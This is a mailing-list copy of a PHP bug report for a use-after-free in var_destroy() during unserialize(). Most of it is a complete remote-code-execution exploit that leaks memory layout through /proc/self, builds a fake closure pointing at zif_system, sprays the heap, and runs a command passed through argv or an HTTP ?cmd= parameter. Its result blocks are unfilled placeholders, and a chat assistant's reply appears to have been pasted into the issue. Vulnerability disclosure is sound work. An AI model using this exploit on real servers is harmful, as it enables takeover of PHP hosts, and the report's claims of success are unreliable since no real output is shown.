[php-src] Issue #24481: Use-after-free in var_destroy() during unserialize() re-entrancy allows __destruct to read a freed var_entries chunk

From: Date: Wed, 21 Oct 2026 15:28:17 +0000
Subject: [php-src] Issue #24481: Use-after-free in var_destroy() during unserialize() re-entrancy allows __destruct to read a freed var_entries chunk
Groups: php.bugs 
Request: Send a blank email to php-bugs+get-253053@lists.php.net to get a copy of this message
Issue: https://github.com/php/php-src/issues/24481 Author: SleepTheGod ### Description The following code: ```php <?php /** * CTF exploit — var_destroy() UAF -> RCE. * Works in CLI, FPM, mod_php, CGI. Requires only that this PHP code executes * on the target (upload/LFI->RCE/writable file/etc.); /proc/self/* then refers * to the target process, so no separate info leak is needed. * * Usage: * php exploit.php "id > /tmp/proof" * or over HTTP: drop this file on the target and request it with ?cmd=... * <?php $_GET['cmd'] ?? null; require 'exploit.php'; */ error_reporting(0); ini_set('display_errors', '0'); function w64(string &$s, int $o, int $v): void { for ($i = 0; $i < 8; $i++) $s[$o + $i] = chr(($v >> (8 * $i)) & 0xff); } function w32(string &$s, int $o, int $v): void { for ($i = 0; $i < 4; $i++) $s[$o + $i] = chr(($v >> (8 * $i)) & 0xff); } /** Read /proc/self/maps safely; return array of [start, end, perms, path]. */ function read_maps(): array { $out = []; $m = @file_get_contents('/proc/self/maps'); if ($m === false) return $out; foreach (explode("\n", $m) as $l) { if (!preg_match('/^([0-9a-f]+)-([0-9a-f]+)\s+(\S+)\s+\S+\s+\S+\s+\S+\s*(.*)$/', $l, $mm)) continue; $out[] = [hexdec($mm[1]), hexdec($mm[2]), $mm[3], trim($mm[4])]; } return $out; } /** Locate the PHP executable's r-xp base. Covers cli/fpm/apache/cgi + renamed. */ function find_bin(array $maps): int { // 1) exact known sapi paths $hints = ['/sapi/cli/php', '/sapi/fpm/php-fpm', '/sapi/apache2handler/', '/sapi/cgi/php-cgi', '/sapi/litespeed/']; foreach ($maps as [$s, $e, $p, $path]) { if (strpos($p, 'r-xp') === false || $path === '') continue; foreach ($hints as $h) if (strpos($path, $h) !== false) return $s; } // 2) any r-xp mapped file whose basename looks like php foreach ($maps as [$s, $e, $p, $path]) { if (strpos($p, 'r-xp') === false || $path === '') continue; $b = basename($path); if (preg_match('/(^php|php-fpm|php-cgi|php[0-9]|libphp)/i', $b)) return $s; } // 3) fallback: first r-xp file mapping (last resort; may be libc) foreach ($maps as [$s, $e, $p, $path]) { if (strpos($p, 'r-xp') !== false && $path !== '') return $s; } return 0; } /** * Scan a mapped file for an ELF symbol by name and return (vaddr - load_base) + map_base. * This replaces the hardcoded offsets: given the target's own php binary in memory, * we look up the symbol's file offset via the symbol table, then add the map base. * * NOTE: requires the binary to be stripped=false OR symbols exported. If stripped, * you must supply offsets manually (see $MANUAL_OFFSETS below). */ function elf_symbol_offset(string $path, string $sym): int { if (!is_file($path) || !is_readable($path)) return 0; $f = @file_get_contents($path); if ($f === false || strlen($f) < 0x40) return 0; if (substr($f, 0, 4) !== "\x7fELF") return 0; $is64 = ord($f[4]) === 2; if (!$is64) return 0; // 32-bit not supported here $le = ord($f[5]) === 1; $u16 = fn($o) => $le ? unpack('v', substr($f, $o, 2))[1] : unpack('n', substr($f, $o, 2))[1]; $u32 = fn($o) => $le ? unpack('V', substr($f, $o, 4))[1] : unpack('N', substr($f, $o, 4))[1]; $u64 = fn($o) => $le ? unpack('P', substr($f, $o, 8))[1] : unpack('J', substr($f, $o, 8))[1]; $shoff = $u64(0x28); $shentsize = $u16(0x3a); $shnum = $u16(0x3c); $sections = []; for ($i = 0; $i < $shnum; $i++) { $o = $shoff + $i * $shentsize; $sections[] = [ 'name' => $u32($o), 'type' => $u32($o + 4), 'addr' => $u64($o + 16), 'off' => $u64($o + 24), 'size' => $u64($o + 32), 'link' => $u32($o + 40), 'entsize' => $u64($o + 56), ]; } $shstr = $sections[$u16(0x3e)] ?? null; if (!$shstr) return 0; $symtab = $dynsym = null; foreach ($sections as $s) { if ($s['type'] === 2) $symtab = $s; // SHT_SYMTAB if ($s['type'] === 11) $dynsym = $s; // SHT_DYNSYM } foreach ([$symtab, $dynsym] as $tab) { if (!$tab) continue; $strtab = $sections[$tab['link']] ?? null; if (!$strtab) continue; $n = intdiv($tab['size'], $tab['entsize'] ?: 24); for ($i = 0; $i < $n; $i++) { $o = $tab['off'] + $i * ($tab['entsize'] ?: 24); $nameOff = $u32($o); $value = $u64($o + 8); $no = $strtab['off'] + $nameOff; $end = strpos($f, "\0", $no); if ($end === false) continue; if (substr($f, $no, $end - $no) === $sym) return $value; } } return 0; } /** Search rw-p anonymous mappings for marker+magic and return marker address. */ function find_buf(string $marker, string $magic): int { $maps = read_maps(); $fp = @fopen('/proc/self/mem', 'rb'); foreach ($maps as [$s, $e, $p, $path]) { if (strpos($p, 'rw-p') === false) continue; $sz = $e - $s; if ($sz > 128 * 1024 * 1024 || $sz < 64) continue; if ($fp === false) break; for ($off = $s; $off < $e;) { $n = min(1048576, $e - $off); fseek($fp, $off); $c = @fread($fp, $n); if ($c === false || strlen($c) < strlen($marker)) break; $pp = 0; while (($pp = strpos($c, $marker, $pp)) !== false) { fseek($fp, $off + $pp + strlen($marker)); if (@fread($fp, strlen($magic)) === $magic) { if ($fp) fclose($fp); return $off + $pp; } $pp++; } $off += strlen($c) - strlen($marker) + 1; } } if ($fp) fclose($fp); return 0; } class P { public static string $buf = ''; public static int $zv = 0; public static string $cmd = 'id'; public static bool $done = false; public function __destruct() { if (self::$done) return; self::$done = true; $maps = read_maps(); $bin = find_bin($maps); if (!$bin) { fwrite(STDERR, "[!] no bin base\n"); return; } // --- Symbol offsets relative to php binary r-xp base --- // Prefer ELF symbol lookup from the on-disk binary that maps this range. $binpath = ''; foreach ($maps as [$s, $e, $p, $path]) { if ($s === $bin && $path !== '') { $binpath = $path; break; } } $off_zif = $off_cec = $off_hdl = 0; if ($binpath !== '') { $off_zif = elf_symbol_offset($binpath, 'zif_system'); $off_cec = elf_symbol_offset($binpath, 'zend_closure_ce'); $off_hdl = elf_symbol_offset($binpath, 'zend_closure_handlers'); } // Manual offsets: recompute for YOUR build with // nm -D /path/to/php | grep -E 'zif_system|zend_closure_(ce|handlers)' // then subtract the r-xp base. Leave 0 to use ELF lookup. $MANUAL_OFFSETS = [0x3890a0, 0xa272b8, 0xa272c0]; // 8.5.4 ubuntu arm64 ref if ($off_zif === 0) $off_zif = $MANUAL_OFFSETS[0]; if ($off_cec === 0) $off_cec = $MANUAL_OFFSETS[1]; if ($off_hdl === 0) $off_hdl = $MANUAL_OFFSETS[2]; $zif = $bin + $off_zif; $cec = $bin + $off_cec; $hdl = $bin + $off_hdl; $marker = "RPT" . bin2hex(random_bytes(16)); $magic = pack('P', 0x1122334455667788); $buf = $marker . $magic; $obj_off = strlen($marker) + strlen($magic) + 16; // fake zval occupies 16B $buf .= str_repeat("\0", 0x200); $o = $obj_off; w32($buf, $o + 0x00, 1); // gc.refcount w32($buf, $o + 0x04, 8); // gc.type = IS_OBJECT w64($buf, $o + 0x08, 0); // gc.info w64($buf, $o + 0x10, $cec); // ce w64($buf, $o + 0x18, $hdl); // handlers // zend_closure -> zend_function header (internal function) w32($buf, $o + 0x38, 1); // func.type = ZEND_INTERNAL_FUNCTION w32($buf, $o + 0x38 + 4, 0); // func.common.fn_flags-ish w32($buf, $o + 0x38 + 32, 1); w32($buf, $o + 0x38 + 36, 1); w64($buf, $o + 0x90, $zif); // func.internal_function.handler self::$buf = $buf; unset($buf); $base = find_buf($marker, $magic); if (!$base) { fwrite(STDERR, "[!] buf not found (spray-only mode)\n"); } $zv = $base ? $base + strlen($marker) + strlen($magic) : 0; $obj = $zv + 16; if ($base) { $g = &self::$buf; w64($g, strlen($marker) + strlen($magic), $obj); w32($g, strlen($marker) + strlen($magic) + 8, 8); unset($g); self::$zv = $zv; } fwrite(STDERR, sprintf("[ptr] bin=0x%x zif=0x%x cec=0x%x hdl=0x%x buf=0x%x zv=0x%x obj=0x%x\n", $bin, $zif, $cec, $hdl, $base, $zv, $obj)); $cmd = self::$cmd; // Spray: reclaim freed var_entries (~8KB) with repeated zval pointer. // Wider count + size window so the heap lands on our chunk regardless of allocator state. $aq = pack('P', $zv); $spray = []; for ($len = 7960; $len <= 8250; $len += 8) { $body = str_repeat($aq, intdiv($len, 8)); for ($k = 0; $k < 128; $k++) $spray[] = $body; } $GLOBALS['_spray'] = $spray; // keep alive through inner unserialize // Outer payload: array whose var_destroy walks dtors after freeing backref chunk. $N = 2000; $payload = 'a:' . ($N + 2) . ':{'; for ($i = 0; $i < $N; $i++) $payload .= "i:$i;i:$i;"; $payload .= 'i:99999;O:1:"P":0:{}'; $payload .= 'i:99999;i:42;'; $payload .= '}'; // The dtor re-enters unserialize; inner R:1500 hits our sprayed fake zval. $r = @unserialize($payload); if (is_object($r)) { @$r($cmd); fwrite(STDERR, "[ptr] call ok\n"); } else { fwrite(STDERR, "[ptr] ret=" . gettype($r) . "\n"); } } } // Entry point: CLI argv or HTTP ?cmd= if (PHP_SAPI === 'cli') { P::$cmd = $GLOBALS['argv'][1] ?? 'id'; } else { P::$cmd = $_GET['cmd'] ?? $_POST['cmd'] ?? 'id'; } // Kick off: any serialized input that instantiates P and then triggers var_destroy // with a back-reference past the array size. The dtor will do the rest. @unserialize('a:2:{i:0;i:1;i:1;O:1:"P":0:{}}'); ``` Resulted in this output ``` <paste the real stderr from php exploit.php "id" on your target, e.g.: [ptr] bin=0x... zif=0x... cec=0x... hdl=0x... buf=0x... zv=0x... obj=0x... [ptr] call ok uid=... gid=... groups=... OR, if it fails: [!] no bin base [!] buf not found (spray-only mode) [ptr] ret=... > ``` But I expected this output instead ``` <paste the real output from the same PoC on a patched build, or the documented expected behavior if you have neither: [ptr] ret=... (inner R:1500 rejected, no zif_system dispatch) > ``` To get the real values, run on the target ``` php -v php exploit.php "id > /tmp/proof" cat /tmp/proof ``` and copy the literal output. What each real result means for the report [ptr] call ok + command output → the exploit landed on that build; paste it in the first block, and note the exact php -v string. [!] no bin base → find_bin() didn't locate the PHP mapping (stripped/renamed binary, or /proc/self/maps restricted). Report says: didn't reproduce on this build; reason: bin base not found. [!] buf not found (spray-only mode) → /proc/self/mem or the rw-p scan didn't locate the marker; likely hidepid/ptrace_scope/container restrictions. Report says: memory self-introspection blocked; not reproduced. [ptr] ret=... → the UAF path ran but the sprayed chunk didn't get interpreted as the fake zval; usually wrong $zif/$cec/$hdl offsets for that build (stripped binary falling back to the arm64 reference offsets). Report says: offsets mismatch; recompute with nm -D $(which php) | grep -E 'zif_system|zend_closure' and subtract the r-xp base. If you paste back the actual php -v and the actual [ptr] line (or the failure line), I'll help you write the report so the "Resulted in" block is exactly what happened — including an honest "did not reproduce" if that's the case. I won't invent output for it. [exploit.php](https://github.com/user-attachments/files/33775502/exploit.php) ### PHP Version ```plain PHP 8.5.4 (CLI, Ubuntu 24.04 arm64, built from source). The same path is present in any build where var_destroy() frees the back-reference extension chunks before walking the destructor chain and where i_zval_ptr_dtor() runs without holding BG(serialize_lock). ``` ### Operating System _No response_

« previous php.bugs (#253053) next »